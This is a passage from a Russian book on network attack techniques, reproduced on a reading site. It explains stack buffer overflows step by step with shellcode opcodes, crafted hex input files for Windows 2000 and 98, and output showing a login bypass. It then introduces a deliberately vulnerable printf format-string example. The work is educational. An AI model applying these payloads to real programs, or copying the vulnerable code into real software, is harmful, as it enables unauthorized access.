KnigaRead.com/
KnigaRead.com » Компьютеры и Интернет » Программы » Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн "Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК". Жанр: Программы издательство неизвестно, год неизвестен.
Перейти на страницу:

Для того чтобы передать управление на начало буфера необходимо знать его адрес. Дизассемблирование в этом вряд ли поможет, поскольку не дает представления о значении регистра ESP в момент вызова программы, поэтому необходимо воспользоваться отладчиком. Для платформы Windows хорошо себя зарекомендовал Soft-Ice от NuMega, но для экспериментов, описываемых в книге, вполне подойдет и отладчик, интегрированный в Microsoft Visual Studio.

Установив точку останова в строке 0x0401028, необходимо запустить программу на выполнение и, дождавшись «всплытия» отладчика, и посмотреть на значение регистра EAX. Предыдущая команда только что занесла в него адрес буфера, предназначенного для ввода имени пользователя. Под Windows 2000 он равен 0x12FF6C, но под Windows 98 - 0x63FDE4. Это происходит по той причине, что нижняя граница стека в различных операционных системах разная. Поэтому, программные реализации атак подобного типа очень чувствительны к используемой платформе.

В двадцать восемь байт двух буферов (и еще четыре байта регистра EBP в придачу) очень трудно затолкать код, делающий нечто полезное, однако, в подавляющем большинстве случаев в атакуемых программах присутствуют буфера гораздо большего размера. Но для демонстрации принципиальной возможности передачи своего собственного кода на сервер, вполне достаточно выполнить одну команду “MOV EAX,1”, заносящую в регистр EAX ненулевое значение. Тогда, независимо от введенного пароля, аутентификации будет считаться успешной, ибо:

· if (auth())

· printf("Password okn");

· else

· printf("Invalid passwordn");


·

Строка, передающая управление на начало буфера имени пользователя, под Windows 2000 в шестнадцатеричном представлении должна выглядеть так: “???????????????????????????????? 6C FF 12”, а под Windows 98 (Windows 95) так: “???????????????????????????????? E4 FD 63”.

Опкод команды “MOV EAX, const” равен “B8 x x x x”, где “x” обозначает каждый байт константы. Так, например, “MOV EAX, 0x31323334” в шестнадцатеричном представлении выглядит так: "B8 34 33 32 31”.

Вернуть управление основному телу программы можно множеством способов, например, воспользоваться командной перехода JMP. Но конструкция “JMP label” неудобна в обращении, поскольку в микропроцессорах серии Intel 80x86 метка представляет собой относительное смещение, отсчитываемое от адреса следующей за JMP команды. Т.к. расположение стека (а вместе с ним и команды JMP) варьируется в зависимости от операционной системы, то полученный код окажется системно-зависимым. Поэтому, лучше воспользоваться регистровой адресацией: “JMP reg”, где reg - 32-разрядный регистр общего назначения.

Однако на передаваемый во вводимой строке код наложены определенные ограничения. Например, с клавиатуры невозможно ввести символ нуля, поэтому команду MOV REG, 0x00401081 [311]” использовать не получится. Для решения этой проблемы необходимо найти регистр уже содержащий нуль в старшем байте. При помощи отладчика нетрудно убедиться, что старшие 16 бит регистра ECX равны “0x40”, поэтому остается скорректировать младшее слово командой MOV CX,0x1018. В результате получается следующий код:

· MOV EAX,0x31323334
· MOV CX, 0x1081
· JMP ECX

Перевести ассемблерный листинг в машинный код можно, например, с помощью утилиты HIEW, предварительно переведя его в 32 разрядный режим. Если все сделать правильно, в результате работы должно получится следующее:

· 00000000: B834333231 mov eax,031323334;"1234"

· 00000005: 66B98110 mov cx,01081;">?"

· 00000009: FFE1 jmp ecx

А строка, которую необходимо набрать вместо имени пользователя в шестнадцатеричном представлении полностью выглядит так: “B8 34 33 32 31 66 B9 81 10 FF E1?????????? 6C FF 12 [312]”, где “??” любой байт. Некоторые из этих символов невозможно непосредственно ввести с клавиатуры, поэтому приходится прибегать к помощи клавиши Alt.

Другой способ заключается в использовании перенаправления ввода. Для этого необходимо создать файл приблизительно следующего содержания (на диске, прилагаемом к книге, он расположен в директории “/SRC” и называется “buff.demo.2000.key”)

· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff

· 00000010: 6C FF 12 0D 0A 0D 0A ¦ l ¦d0d0

Он состоит из двух строк, завершаемых последовательностью «CRLF», представляющих собой имя пользователя и пароль. А запускать его необходимо следующим образом: “buff.demo.exe «buff.demo.2000.key”. После завершения работы программы экран должен выглядеть приблизительно так:

· F:TPNAsrc»buff.demo.exe

· Buffer Overflows Demo

· Login:¬1234f¦Б^P с12345l ^R

· Passw:

· Password ok

Таким образом, ошибка программиста привела к возможности передачи управления на код злоумышленника и позволила ему проникнуть в систему еще на стадии аутентификации! Кстати, некоторые версии UNIX содержали ошибку переполнения буфера при вводе имени пользователя или пароля, поэтому рассмотренный выше пример трудно назвать надуманным.

Поскольку, при запуске программы из-под Windows 98, буфер имени пользователя располагается по другому адресу, то необходимо скорректировать адрес возврата с 0x12FF6C на 0x63FDE4 (кстати, в Windows 98 не работает клавиша Alt и единственный путь ввести строку - воспользоваться перенаправлением ввода):

· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff

· 00000010: E4 FD 63 0D 0A 0D 0A ¦ l ¦d0d0

Однако при попытке ввода такой строки происходит аварийное закрытие приложения. Отладчик позволяет установить, что управление получает не требуемый код, а какой-то непонятный мусор. Оказывается, операционная система Windows 98 портит содержимое стека, расположенное выше указателя (т.е. в младших адресах). Такое поведение является вполне нормальным, поскольку сохранность памяти, лежащей выше указателя стека не гарантируется. Экспериментально удается установить, с адреса 0x63FDE8 начинается неиспорченный «кусочек» стека, который пригоден для размещения кода.

Одина из возможных реализаций атаки, работающей под управлением Windows 98, показана ниже (на диске, прилагаемом к книге, она содержится в файле “/SRC/buff.demo.98.key”):

· 00000000: 31 32 33 34 B8 01 02 03 ¦ 04 66 B9 81 10 FF E1 31 1234¬OO¦¦f¦Б> с1

· 00000010: E8 FD 63 0D 0A 31 32 33 ¦ 34 0D 0A ш¤cd01234d0

Четыре байта в начале строки - произвольны. Они необходимы лишь затем, чтобы сместить исполняемый код в непортящийся регион стека. Соответственно необходимо скорректировать адрес возврата, передавая управление не на начало буфера (которое окажется затерто), а на первый байт исполняемого кода.

Ниже приведен результат использования такой строки под управлением Windows 98. Это работает! (При перенаправлении ввода, вводимая строка не отображается на экране, потому имя и пароль отсутствуют):

· buff.demo.exe «buff.demo.98.key

· Buffer Overflows Demo

· Login:Passw:Password ok

Для предотвращения переполнения буфера программистам рекомендуют использовать функции, позволяющие явно указывать максимальное количество считываемых с клавиатуры символов. Но этот прием сам по себе еще не гарантирует неуязвимость приложения. Например, в примере, приведенном ниже, на первый взгляд все как будто бы нормально (на диске, прилагаемом к книге, этот пример содержится в файле “/SRC/buff.printf.c”):

· #include «string.h»
·
· void main()
· {
· FILE *psw;
· char buff[32];
· char user[16];
· char pass[16];
· char _pass[16];
·
· printf("printf bug demon");
· if (!(psw=fopen("buff.psw","r"))) return;
· fgets( amp;_pass[0],8,psw);
·
· printf("Login:");fgets( amp;user[0],12,stdin);
· printf("Passw:");fgets( amp;pass[0],12,stdin);
·
· if (strcmp( amp;pass[0], amp;_pass[0]))
· sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);
· else
· sprintf( amp;buff[0],"Password okn");
·
· printf( amp;buff[0]);
·
·}

Все строки, читаемые как с клавиатуры, так и из файла паролей, гарантированно влезают в отведенный им буфер и ни при каких обстоятельствах не могут выйти за его границы. При условии, что у злоумышленника нет доступа к файлу “buff.psw”, содержащего пароли пользователей [313], он никак не сможет обойти защиту [314]. Кажется, в десятке строк трудно ошибиться, и никаких дыр тут нет.

Психологическая инерция подводит и на этот раз. И, видимо, не только разработчиков, но, в том числе, и злоумышленников, поскольку тип атаки, описанный ниже, не получил большого распространения. Поэтому, многие из приложений, считающиеся защищенными, все же содержат грубые ошибки, позволяющие легко и незаметно проникнуть в систему.

Речь идет о «большой дыре» в функции “printf”, вернее дыра находится не в одной конкретной функции (тогда бы она могла бы быть безболезненно устранена), а в самом языке Си. Одни из его недостатков заключается в том, что функция не может определить сколько ей было передано параметров. Поэтому, функциям с переменным количеством аргументов, приходится каким-то образом передавать и число этих самых аргументов.

Функция “printf” использует для этой цели строку спецификаторов, и ее вызов может выглядеть, например, так: “printf(“Name: %snAge: %dnIndex: %xn”, amp;s[0],age,index)”. Количество спецификаторов должно быть равно количеству передаваемых функции переменных. Но что произойдет, если равновесие нарушится?

Возможно два варианта - переменных больше, чем спецификаторов и переменных меньше, чем спецификаторов. Пока количество спецификаторов не превышает количества переданных параметров, не происходит ничего интересного, поскольку, из стека аргументы удаляются не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано) разбалансировки стека не происходит и все работает нормально. Но если количество спецификаторов превышает количество требуемых аргументов, функция, пытаясь прочитать очередной аргумент, обратится к «чужим» данным! Конкретное поведение кода зависит от компилятора и содержимого стека на момент вызова функции “printf”.

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*